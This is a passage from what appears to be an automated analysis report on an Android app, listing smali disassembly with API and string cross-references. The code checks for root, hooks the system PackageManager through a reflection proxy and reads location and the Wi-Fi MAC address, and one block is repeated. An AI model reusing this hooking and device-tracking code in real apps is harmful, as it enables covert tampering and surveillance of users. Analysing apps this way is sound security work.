                                                                              48new-array v6, v6, [Ljava/lang/Object;
                                                                              49const/4 v7, 0x0
                                                                              50aget-byte v8, v3, v0
                                                                              52invoke-static {v8}, Ljava/lang/Byte;->valueOf(B)Ljava/lang/Byte;
                                                                              53move-result-object v8
                                                                              54aput-object v8, v6, v7
                                                                              56invoke-static {v2, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                                                                              57move-result-object v2
                                                                              59invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              60add-int/lit8 v0, v0, 0x1
                                                                              61goto/16 :goto_3c
                                                                              62cond_56:
                                                                              63invoke-virtual {v4}, Ljava/lang/StringBuilder;->length()I
                                                                              64move-result v0
                                                                              65if-lez v0, :cond_65
                                                                              67invoke-virtual {v4}, Ljava/lang/StringBuilder;->length()I
                                                                              68move-result v0
                                                                              69add-int/lit8 v0, v0, -0x1
                                                                              71invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->deleteCharAt(I)Ljava/lang/StringBuilder;
                                                                              72cond_65:
                                                                              73invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              74move-result-object v0
                                                                              76invoke-static {}, Ljava/util/Locale;->getDefault()Ljava/util/Locale;
                                                                              77move-result-object v2
                                                                              79invoke-virtual {v0, v2}, Ljava/lang/String;->toLowerCase(Ljava/util/Locale;)Ljava/lang/String;
                                                                              80try_end_70: move-result-object v0
                                                                              81goto/16 :goto_34
                                                                              82catch_72: move-exception v0
                                                                              83cond_73: move-object v0, v1
                                                                              84goto/16 :goto_34
                                                                              Cross References
                                                                              APIs
                                                                              • java.io.File.<init>
                                                                              • java.io.File.exists
                                                                              • java.util.ArrayList.size
                                                                              • java.util.ArrayList.iterator
                                                                              • java.util.Iterator.hasNext
                                                                              • java.util.Iterator.next
                                                                              • java.lang.String.contains
                                                                              • java.lang.Boolean.valueOf
                                                                              • java.lang.Throwable.printStackTrace
                                                                              • java.lang.Boolean.valueOf
                                                                              • java.lang.Boolean.valueOf
                                                                              • android.os.Build.TAGS:Ljava/lang/String
                                                                              • android.os.Build.TAGS:Ljava/lang/String
                                                                              • java.lang.String.contains
                                                                              • java.lang.Boolean.booleanValue
                                                                              • java.lang.Boolean.booleanValue
                                                                              Strings
                                                                              • /system/app/Superuser.apk
                                                                              • /system/bin/sh
                                                                              • -c
                                                                              • type su
                                                                              • not found
                                                                              • test-keys
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "var0" # Landroid/content/Context;
                                                                              1.prologue
                                                                              2const/4 v7, 0x1
                                                                              3const/4 v9, 0x0
                                                                              4const/4 v0, 0x0
                                                                              5const/4 v1, 0x0
                                                                              6try_start_4: new-instance v8, Ljava/io/File;
                                                                              8const-string v10, "/system/app/Superuser.apk"
                                                                              10invoke-direct {v8, v10}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                                              12invoke-virtual {v8}, Ljava/io/File;->exists()Z
                                                                              13try_end_e: move-result v1
                                                                              14goto_f: const/4 v2, 0x0
                                                                              15const/4 v8, 0x3
                                                                              16new-array v8, v8, [Ljava/lang/String;
                                                                              18const-string v10, "/system/bin/sh"
                                                                              19aput-object v10, v8, v9
                                                                              21const-string v10, "-c"
                                                                              22aput-object v10, v8, v7
                                                                              23const/4 v10, 0x2
                                                                              25const-string v11, "type su"
                                                                              26aput-object v11, v8, v10
                                                                              28invoke-static {p0, v8}, Lcom/android/leech/base/bugly/encode/ap;->a(Landroid/content/Context;[Ljava/lang/String;)Ljava/util/ArrayList;
                                                                              29move-result-object v3
                                                                              30if-eqz v3, :cond_54
                                                                              32invoke-virtual {v3}, Ljava/util/ArrayList;->size()I
                                                                              33move-result v8
                                                                              34if-lez v8, :cond_54
                                                                              36invoke-virtual {v3}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                                                                              37move-result-object v4
                                                                              38goto_30:
                                                                              39invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
                                                                              40move-result v8
                                                                              41if-eqz v8, :cond_4e
                                                                              43invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                                              44move-result-object v5
                                                                              45check-cast v5, Ljava/lang/String;
                                                                              47const-string v8, "not found"
                                                                              49invoke-virtual {v5, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              50move-result v8
                                                                              51if-eqz v8, :cond_30
                                                                              53invoke-static {v9}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                                                                              54move-result-object v2
                                                                              55goto/16 :goto_30
                                                                              56catch_49: move-exception v6
                                                                              58invoke-virtual {v6}, Ljava/lang/Throwable;->printStackTrace()V
                                                                              59goto/16 :goto_f
                                                                              60cond_4e: if-nez v2, :cond_54
                                                                              62invoke-static {v7}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                                                                              63move-result-object v2
                                                                              64cond_54: if-nez v2, :cond_75
                                                                              65move v8, v9
                                                                              66goto_57:
                                                                              67invoke-static {v8}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                                                                              68move-result-object v2
                                                                              70sget-object v8, Landroid/os/Build;->TAGS:Ljava/lang/String;
                                                                              71if-eqz v8, :cond_7a
                                                                              73sget-object v8, Landroid/os/Build;->TAGS:Ljava/lang/String;
                                                                              75const-string v10, "test-keys"
                                                                              77invoke-virtual {v8, v10}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              78move-result v8
                                                                              79if-eqz v8, :cond_7a
                                                                              80goto_69: if-nez v7, :cond_73
                                                                              81if-nez v1, :cond_73
                                                                              83invoke-virtual {v2}, Ljava/lang/Boolean;->booleanValue()Z
                                                                              84move-result v8
                                                                              85if-eqz v8, :cond_74
                                                                              86cond_73: const/4 v0, 0x1
                                                                              87cond_74: return v0
                                                                              88cond_75:
                                                                              89invoke-virtual {v2}, Ljava/lang/Boolean;->booleanValue()Z
                                                                              90move-result v8
                                                                              91goto/16 :goto_57
                                                                              92cond_7a: move v7, v9
                                                                              93goto/16 :goto_69
                                                                              Cross References
                                                                              APIs
                                                                              • java.io.File.<init>
                                                                              • java.io.File.exists
                                                                              • java.util.ArrayList.size
                                                                              • java.util.ArrayList.iterator
                                                                              • java.util.Iterator.hasNext
                                                                              • java.util.Iterator.next
                                                                              • java.lang.String.contains
                                                                              • java.lang.Boolean.valueOf
                                                                              • java.lang.Throwable.printStackTrace
                                                                              • java.lang.Boolean.valueOf
                                                                              • java.lang.Boolean.valueOf
                                                                              • android.os.Build.TAGS:Ljava/lang/String
                                                                              • android.os.Build.TAGS:Ljava/lang/String
                                                                              • java.lang.String.contains
                                                                              • java.lang.Boolean.booleanValue
                                                                              • java.lang.Boolean.booleanValue
                                                                              Strings
                                                                              • /system/app/Superuser.apk
                                                                              • /system/bin/sh
                                                                              • -c
                                                                              • type su
                                                                              • not found
                                                                              • test-keys
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "var0" # Landroid/content/Context;
                                                                              1.prologue
                                                                              2const/4 v7, 0x1
                                                                              3const/4 v9, 0x0
                                                                              4const/4 v0, 0x0
                                                                              5const/4 v1, 0x0
                                                                              6try_start_4: new-instance v8, Ljava/io/File;
                                                                              8const-string v10, "/system/app/Superuser.apk"
                                                                              10invoke-direct {v8, v10}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                                              12invoke-virtual {v8}, Ljava/io/File;->exists()Z
                                                                              13try_end_e: move-result v1
                                                                              14goto_f: const/4 v2, 0x0
                                                                              15const/4 v8, 0x3
                                                                              16new-array v8, v8, [Ljava/lang/String;
                                                                              18const-string v10, "/system/bin/sh"
                                                                              19aput-object v10, v8, v9
                                                                              21const-string v10, "-c"
                                                                              22aput-object v10, v8, v7
                                                                              23const/4 v10, 0x2
                                                                              25const-string v11, "type su"
                                                                              26aput-object v11, v8, v10
                                                                              28invoke-static {p0, v8}, Lcom/android/leech/base/bugly/encode/ap;->a(Landroid/content/Context;[Ljava/lang/String;)Ljava/util/ArrayList;
                                                                              29move-result-object v3
                                                                              30if-eqz v3, :cond_54
                                                                              32invoke-virtual {v3}, Ljava/util/ArrayList;->size()I
                                                                              33move-result v8
                                                                              34if-lez v8, :cond_54
                                                                              36invoke-virtual {v3}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                                                                              37move-result-object v4
                                                                              38goto_30:
                                                                              39invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
                                                                              40move-result v8
                                                                              41if-eqz v8, :cond_4e
                                                                              43invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                                              44move-result-object v5
                                                                              45check-cast v5, Ljava/lang/String;
                                                                              47const-string v8, "not found"
                                                                              49invoke-virtual {v5, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              50move-result v8
                                                                              51if-eqz v8, :cond_30
                                                                              53invoke-static {v9}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                                                                              54move-result-object v2
                                                                              55goto/16 :goto_30
                                                                              56catch_49: move-exception v6
                                                                              58invoke-virtual {v6}, Ljava/lang/Throwable;->printStackTrace()V
                                                                              59goto/16 :goto_f
                                                                              60cond_4e: if-nez v2, :cond_54
                                                                              62invoke-static {v7}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                                                                              63move-result-object v2
                                                                              64cond_54: if-nez v2, :cond_75
                                                                              65move v8, v9
                                                                              66goto_57:
                                                                              67invoke-static {v8}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                                                                              68move-result-object v2
                                                                              70sget-object v8, Landroid/os/Build;->TAGS:Ljava/lang/String;
                                                                              71if-eqz v8, :cond_7a
                                                                              73sget-object v8, Landroid/os/Build;->TAGS:Ljava/lang/String;
                                                                              75const-string v10, "test-keys"
                                                                              77invoke-virtual {v8, v10}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              78move-result v8
                                                                              79if-eqz v8, :cond_7a
                                                                              80goto_69: if-nez v7, :cond_73
                                                                              81if-nez v1, :cond_73
                                                                              83invoke-virtual {v2}, Ljava/lang/Boolean;->booleanValue()Z
                                                                              84move-result v8
                                                                              85if-eqz v8, :cond_74
                                                                              86cond_73: const/4 v0, 0x1
                                                                              87cond_74: return v0
                                                                              88cond_75:
                                                                              89invoke-virtual {v2}, Ljava/lang/Boolean;->booleanValue()Z
                                                                              90move-result v8
                                                                              91goto/16 :goto_57
                                                                              92cond_7a: move v7, v9
                                                                              93goto/16 :goto_69
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.get
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getClassLoader
                                                                              • java.lang.reflect.Proxy.newProxyInstance
                                                                              • java.lang.reflect.Field.set
                                                                              • android.content.Context.getPackageManager
                                                                              • java.lang.Object.getClass
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.set
                                                                              Strings
                                                                              • android.app.ActivityThread
                                                                              • currentActivityThread
                                                                              • sPackageManager
                                                                              • android.content.pm.IPackageManager
                                                                              • mPM
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "context" # Landroid/content/Context;
                                                                              1.prologue
                                                                              2try_start_0:
                                                                              3const-string v9, "android.app.ActivityThread"
                                                                              5invoke-static {v9}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              6move-result-object v0
                                                                              8const-string v9, "currentActivityThread"
                                                                              9const/4 v10, 0x0
                                                                              10new-array v10, v10, [Ljava/lang/Class;
                                                                              12invoke-virtual {v0, v9, v10}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              13move-result-object v2
                                                                              14const/4 v9, 0x0
                                                                              15const/4 v10, 0x0
                                                                              16new-array v10, v10, [Ljava/lang/Object;
                                                                              18invoke-virtual {v2, v9, v10}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              19move-result-object v1
                                                                              21const-string v9, "sPackageManager"
                                                                              23invoke-virtual {v0, v9}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              24move-result-object v8
                                                                              25const/4 v9, 0x1
                                                                              27invoke-virtual {v8, v9}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              29invoke-virtual {v8, v1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              30move-result-object v7
                                                                              32const-string v9, "android.content.pm.IPackageManager"
                                                                              34invoke-static {v9}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              35move-result-object v3
                                                                              37invoke-virtual {v3}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                                                                              38move-result-object v9
                                                                              39const/4 v10, 0x1
                                                                              40new-array v10, v10, [Ljava/lang/Class;
                                                                              41const/4 v11, 0x0
                                                                              42aput-object v3, v10, v11
                                                                              43new-instance v11, Lcom/android/leech/base/hook/proxy/HookPMSHandler;
                                                                              45invoke-direct {v11, v7}, Lcom/android/leech/base/hook/proxy/HookPMSHandler;-><init>(Ljava/lang/Object;)V
                                                                              47invoke-static {v9, v10, v11}, Ljava/lang/reflect/Proxy;->newProxyInstance(Ljava/lang/ClassLoader;[Ljava/lang/Class;Ljava/lang/reflect/InvocationHandler;)Ljava/lang/Object;
                                                                              48move-result-object v6
                                                                              50invoke-virtual {v8, v1, v6}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                                                                              52invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                                                              53move-result-object v5
                                                                              55invoke-virtual {v5}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                                              56move-result-object v9
                                                                              58const-string v10, "mPM"
                                                                              60invoke-virtual {v9, v10}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              61move-result-object v4
                                                                              62const/4 v9, 0x1
                                                                              64invoke-virtual {v4, v9}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              66invoke-virtual {v4, v5, v6}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                                                                              67goto_56: return-void
                                                                              68catch_57: move-exception v9
                                                                              69goto/16 :goto_56
                                                                              Cross References
                                                                              APIs
                                                                              • android.location.LocationManager.isProviderEnabled
                                                                              • android.location.LocationManager.isProviderEnabled
                                                                              • android.location.LocationManager.getLastKnownLocation
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.location.LocationManager.isProviderEnabled
                                                                              • android.location.LocationManager.isProviderEnabled
                                                                              • android.location.LocationManager.getLastKnownLocation
                                                                              Strings
                                                                              • UMSysLocation
                                                                              • getSystemLocation
                                                                              • android.permission.ACCESS_COARSE_LOCATION
                                                                              • android.permission.ACCESS_FINE_LOCATION
                                                                              • gps
                                                                              • network
                                                                              • getLastKnownLocation(LocationManager.PASSIVE_PROVIDER)
                                                                              • passive
                                                                              • e is
                                                                              Position Instruction Meta Information
                                                                              0const/4 v0, 0x0
                                                                              1const/4 v2, 0x0
                                                                              2monitor-enter p0
                                                                              3try_start_3:
                                                                              4const-string v1, "UMSysLocation"
                                                                              5const/4 v3, 0x1
                                                                              6new-array v3, v3, [Ljava/lang/Object;
                                                                              7const/4 v4, 0x0
                                                                              9const-string v5, "getSystemLocation"
                                                                              10aput-object v5, v3, v4
                                                                              12invoke-static {v1, v3}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              13if-eqz p1, :cond_16
                                                                              15iget-object v1, p0, LuAgent/commonsdk/proguard/d;->d:Landroid/content/Context;
                                                                              16try_end_14: if-nez v1, :cond_18
                                                                              17goto_16: monitor-exit p0
                                                                              18return-void
                                                                              19cond_18: iput-object p1, p0, LuAgent/commonsdk/proguard/d;->e:LuAgent/commonsdk/proguard/f;
                                                                              21iget-object v1, p0, LuAgent/commonsdk/proguard/d;->d:Landroid/content/Context;
                                                                              23const-string v3, "android.permission.ACCESS_COARSE_LOCATION"
                                                                              25invoke-static {v1, v3}, LuAgent/commonsdk/utils/UMUtils;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              26move-result v3
                                                                              28iget-object v1, p0, LuAgent/commonsdk/proguard/d;->d:Landroid/content/Context;
                                                                              30const-string v4, "android.permission.ACCESS_FINE_LOCATION"
                                                                              32invoke-static {v1, v4}, LuAgent/commonsdk/utils/UMUtils;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              33try_end_29: move-result v4
                                                                              34if-nez v3, :cond_2e
                                                                              35if-eqz v4, :cond_97
                                                                              36cond_2e:
                                                                              37iget-object v1, p0, LuAgent/commonsdk/proguard/d;->b:Landroid/location/LocationManager;
                                                                              38if-eqz v1, :cond_16
                                                                              39sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              40const/16 v5, 0x15
                                                                              41if-lt v1, v5, :cond_a3
                                                                              43iget-object v1, p0, LuAgent/commonsdk/proguard/d;->b:Landroid/location/LocationManager;
                                                                              45const-string v2, "gps"
                                                                              47invoke-virtual {v1, v2}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
                                                                              48move-result v1
                                                                              50iget-object v2, p0, LuAgent/commonsdk/proguard/d;->b:Landroid/location/LocationManager;
                                                                              52const-string v5, "network"
                                                                              54invoke-virtual {v2, v5}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
                                                                              55move-result v2
                                                                              56cond_48: if-nez v1, :cond_4c
                                                                              57if-eqz v2, :cond_63
                                                                              58cond_4c:
                                                                              59const-string v1, "UMSysLocation"
                                                                              60const/4 v2, 0x1
                                                                              61new-array v2, v2, [Ljava/lang/Object;
                                                                              62const/4 v5, 0x0
                                                                              64const-string v6, "getLastKnownLocation(LocationManager.PASSIVE_PROVIDER)"
                                                                              65aput-object v6, v2, v5
                                                                              67invoke-static {v1, v2}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              68if-eqz v4, :cond_b8
                                                                              70iget-object v0, p0, LuAgent/commonsdk/proguard/d;->b:Landroid/location/LocationManager;
                                                                              72const-string v1, "passive"
                                                                              74invoke-virtual {v0, v1}, Landroid/location/LocationManager;->getLastKnownLocation(Ljava/lang/String;)Landroid/location/Location;
                                                                              75move-result-object v0
                                                                              76goto_63:
                                                                              77iget-object v1, p0, LuAgent/commonsdk/proguard/d;->e:LuAgent/commonsdk/proguard/f;
                                                                              79invoke-virtual {v1, v0}, LuAgent/commonsdk/proguard/f;->a(Landroid/location/Location;)V
                                                                              80try_end_68: goto/16 :goto_16
                                                                              81catch_69: move-exception v0
                                                                              82try_start_6a:
                                                                              83const-string v1, "UMSysLocation"
                                                                              84const/4 v2, 0x1
                                                                              85new-array v2, v2, [Ljava/lang/Object;
                                                                              86const/4 v3, 0x0
                                                                              87new-instance v4, Ljava/lang/StringBuilder;
                                                                              89invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                                              91const-string v5, "e is "
                                                                              93invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              94move-result-object v4
                                                                              96invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              97move-result-object v4
                                                                              99invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              100move-result-object v4
                                                                              101aput-object v4, v2, v3
                                                                              103invoke-static {v1, v2}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              104try_end_88: if-eqz p1, :cond_8e
                                                                              105const/4 v1, 0x0
                                                                              106try_start_8b:
                                                                              107invoke-virtual {p1, v1}, LuAgent/commonsdk/proguard/f;->a(Landroid/location/Location;)V
                                                                              108goto_8e:
                                                                              109iget-object v1, p0, LuAgent/commonsdk/proguard/d;->d:Landroid/content/Context;
                                                                              111invoke-static {v1, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              112try_end_93: goto/16 :goto_16
                                                                              113catchall_94: move-exception v0
                                                                              114monitor-exit p0
                                                                              115throw v0
                                                                              116cond_97:
                                                                              117iget-object v0, p0, LuAgent/commonsdk/proguard/d;->e:LuAgent/commonsdk/proguard/f;
                                                                              118if-eqz v0, :cond_16
                                                                              120iget-object v0, p0, LuAgent/commonsdk/proguard/d;->e:LuAgent/commonsdk/proguard/f;
                                                                              121const/4 v1, 0x0
                                                                              123invoke-virtual {v0, v1}, LuAgent/commonsdk/proguard/f;->a(Landroid/location/Location;)V
                                                                              124try_end_a1: goto/16 :goto_16
                                                                              125cond_a3: if-eqz v4, :cond_ca
                                                                              126try_start_a5:
                                                                              127iget-object v1, p0, LuAgent/commonsdk/proguard/d;->b:Landroid/location/LocationManager;
                                                                              129const-string v5, "gps"
                                                                              131invoke-virtual {v1, v5}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
                                                                              132move-result v1
                                                                              133goto_ad: if-eqz v3, :cond_48
                                                                              135iget-object v2, p0, LuAgent/commonsdk/proguard/d;->b:Landroid/location/LocationManager;
                                                                              137const-string v5, "network"
                                                                              139invoke-virtual {v2, v5}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
                                                                              140move-result v2
                                                                              141goto/16 :goto_48
                                                                              142cond_b8: if-eqz v3, :cond_63
                                                                              144iget-object v0, p0, LuAgent/commonsdk/proguard/d;->b:Landroid/location/LocationManager;
                                                                              146const-string v1, "network"
                                                                              148invoke-virtual {v0, v1}, Landroid/location/LocationManager;->getLastKnownLocation(Ljava/lang/String;)Landroid/location/Location;
                                                                              149try_end_c1: move-result-object v0
                                                                              150goto/16 :goto_63
                                                                              151catch_c3: move-exception v1
                                                                              152try_start_c4:
                                                                              153iget-object v2, p0, LuAgent/commonsdk/proguard/d;->d:Landroid/content/Context;
                                                                              155invoke-static {v2, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              156try_end_c9: goto/16 :goto_8e
                                                                              157cond_ca: move v1, v2
                                                                              158goto/16 :goto_ad
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.net.wifi.WifiManager.getConnectionInfo
                                                                              • android.net.wifi.WifiInfo.getMacAddress
                                                                              • android.util.Log.e
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              Strings
                                                                              • wifi
                                                                              • android.permission.ACCESS_WIFI_STATE
                                                                              • UMUtils
                                                                              • Could not get mac address.[no permission android.permission.ACCESS_WIFI_STATE
                                                                              • get mac e is
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1if-nez p0, :cond_5
                                                                              2move-object v0, v1
                                                                              3goto_4: return-object v0
                                                                              4try_start_5:
                                                                              5const-string v0, "wifi"
                                                                              7invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              8move-result-object v0
                                                                              9check-cast v0, Landroid/net/wifi/WifiManager;
                                                                              11const-string v2, "android.permission.ACCESS_WIFI_STATE"
                                                                              13invoke-static {p0, v2}, LuAgent/commonsdk/utils/UMUtils;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              14move-result v2
                                                                              15if-eqz v2, :cond_1e
                                                                              17invoke-virtual {v0}, Landroid/net/wifi/WifiManager;->getConnectionInfo()Landroid/net/wifi/WifiInfo;
                                                                              18move-result-object v0
                                                                              20invoke-virtual {v0}, Landroid/net/wifi/WifiInfo;->getMacAddress()Ljava/lang/String;
                                                                              21move-result-object v0
                                                                              22goto/16 :goto_4
                                                                              23cond_1e: sget-boolean v0, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              24if-eqz v0, :cond_29
                                                                              26const-string v0, "UMUtils"
                                                                              28const-string v2, "Could not get mac address.[no permission android.permission.ACCESS_WIFI_STATE"
                                                                              30invoke-static {v0, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              31try_end_29:
                                                                              32const-string v0, ""
                                                                              33goto/16 :goto_4
                                                                              34catch_2c: move-exception v0
                                                                              35sget-boolean v2, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              36if-eqz v2, :cond_49
                                                                              38const-string v2, "UMUtils"
                                                                              39new-instance v3, Ljava/lang/StringBuilder;
                                                                              41invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              43const-string v4, "get mac e is "
                                                                              45invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              46move-result-object v3
                                                                              48invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              49move-result-object v3
                                                                              51invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              52move-result-object v3
                                                                              54invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              55cond_49:
                                                                              56invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              57move-object v0, v1
                                                                              58goto/16 :goto_4
                                                                              59catch_4e: move-exception v0
                                                                              60sget-boolean v2, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              61if-eqz v2, :cond_6b
                                                                              63const-string v2, "UMUtils"
                                                                              64new-instance v3, Ljava/lang/StringBuilder;
                                                                              66invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              68const-string v4, "get mac e is "
                                                                              70invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              71move-result-object v3
                                                                              73invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              74move-result-object v3
                                                                              76invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              77move-result-object v3
                                                                              79invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              80cond_6b:
                                                                              81invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              82move-object v0, v1
                                                                              83goto/16 :goto_4
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.io.File.<init>
                                                                              • java.io.File.exists
                                                                              Strings
                                                                              • /bin
                                                                              • /system/bin/
                                                                              • /system/xbin/
                                                                              • /system/sbin/
                                                                              • /sbin/
                                                                              • /vendor/bin/
                                                                              • /su/bin/
                                                                              • /data/local/xbin/
                                                                              • /data/local/bin/
                                                                              • /system/sd/xbin/
                                                                              • /system/bin/failsafe/
                                                                              • /data/local/
                                                                              • su
                                                                              Position Instruction Meta Information
                                                                              0const/4 v0, 0x1
                                                                              1const/4 v1, 0x0
                                                                              2const/16 v2, 0xc
                                                                              3new-array v3, v2, [Ljava/lang/String;
                                                                              5const-string v2, "/bin"
                                                                              6aput-object v2, v3, v1
                                                                              8const-string v2, "/system/bin/"
                                                                              9aput-object v2, v3, v0
                                                                              10const/4 v2, 0x2
                                                                              12const-string v4, "/system/xbin/"
                                                                              13aput-object v4, v3, v2
                                                                              14const/4 v2, 0x3
                                                                              16const-string v4, "/system/sbin/"
                                                                              17aput-object v4, v3, v2
                                                                              18const/4 v2, 0x4
                                                                              20const-string v4, "/sbin/"
                                                                              21aput-object v4, v3, v2
                                                                              22const/4 v2, 0x5
                                                                              24const-string v4, "/vendor/bin/"
                                                                              25aput-object v4, v3, v2
                                                                              26const/4 v2, 0x6
                                                                              28const-string v4, "/su/bin/"
                                                                              29aput-object v4, v3, v2
                                                                              30const/4 v2, 0x7
                                                                              32const-string v4, "/data/local/xbin/"
                                                                              33aput-object v4, v3, v2
                                                                              34const/16 v2, 0x8
                                                                              36const-string v4, "/data/local/bin/"
                                                                              37aput-object v4, v3, v2
                                                                              38const/16 v2, 0x9
                                                                              40const-string v4, "/system/sd/xbin/"
                                                                              41aput-object v4, v3, v2
                                                                              42const/16 v2, 0xa
                                                                              44const-string v4, "/system/bin/failsafe/"
                                                                              45aput-object v4, v3, v2
                                                                              46const/16 v2, 0xb
                                                                              48const-string v4, "/data/local/"
